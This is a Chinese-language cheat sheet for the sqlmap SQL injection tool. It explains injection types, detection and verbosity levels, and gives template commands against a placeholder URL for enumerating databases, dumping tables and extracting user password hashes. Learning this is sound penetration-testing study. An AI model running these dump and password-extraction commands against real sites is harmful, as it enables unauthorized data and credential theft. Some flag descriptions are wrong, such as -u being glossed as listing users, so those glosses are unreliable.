sqlmap支持5种不同类型的注入模式:

1、基于布尔类型的注入,即可根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回判断的时候,利用时间线是否延时来判断条件的真假。

3、基于报错的注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中,比如数据库报错的信息等。

4、联合查询注入,即可以使用Union的情况下注入。

5、堆叠查询注入,即可以同时执行多条语句时的注入。

探测等级

–level1:默认的等级,会进行基本的测试,包括GET和POST方式。

–level2: 在原有的基础上增加对cookie的检测。

–level3: 增加对User Agent、Referer 的检测

–lever4: 更多的payload

–level5: 最高等级,包含所有的payload,会尝试自动破解出cookie、xff等头部注入。(速度最慢)

运行级别

sqlmap中共有七个等级,默认等级为1

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

显示调试信息

-v 显示调用信息有7个级别

0,只显示python错误以及严重的信息

1,同时显示基本信息和警告信息

2,同时显示debug信息

3,同时显示注入的payload

4,同时显示http请求

5,同时显示http响应头

6,同时显示http 响应页面

命令

一个字符是-,一个单词是--

-b --banner 检索数据库管理系统的版本

-f --fingerprint 查询数据库的版本指纹(得到的结果比-b参数要详细的多)

-u 查看数据库的用户

--threads 5 //线程数

--batch //自动回复

--smart //当有大量目标时,这个就只检查基于错误的注入点

--answer //这个可对一些特定的问题作出回答,在自动化注入中常用

 

sqlmap方式

关于sqlmap的基础命令,将url修改为需要注入的url即可

查询sqlmap是否存在注入命令

sqlmap.py -u url/?id=1

查询当前用户下的所有数据库

sqlmap.py -u url/?id=1 --dbs

获取数据库的表名

sqlmap.py -u url/?id=1 -D (数据库名) --tables

获取表中的字段名

sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns

获取字段的内容

sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump

查询数据库的所有用户

sqlmap.py -u url/?id=1 --users

查询数据库的所有密码

sqlmap.py -u url/?id=1 --passwords

查询数据库名称

sqlmap.py -u url/?id=1 --current-db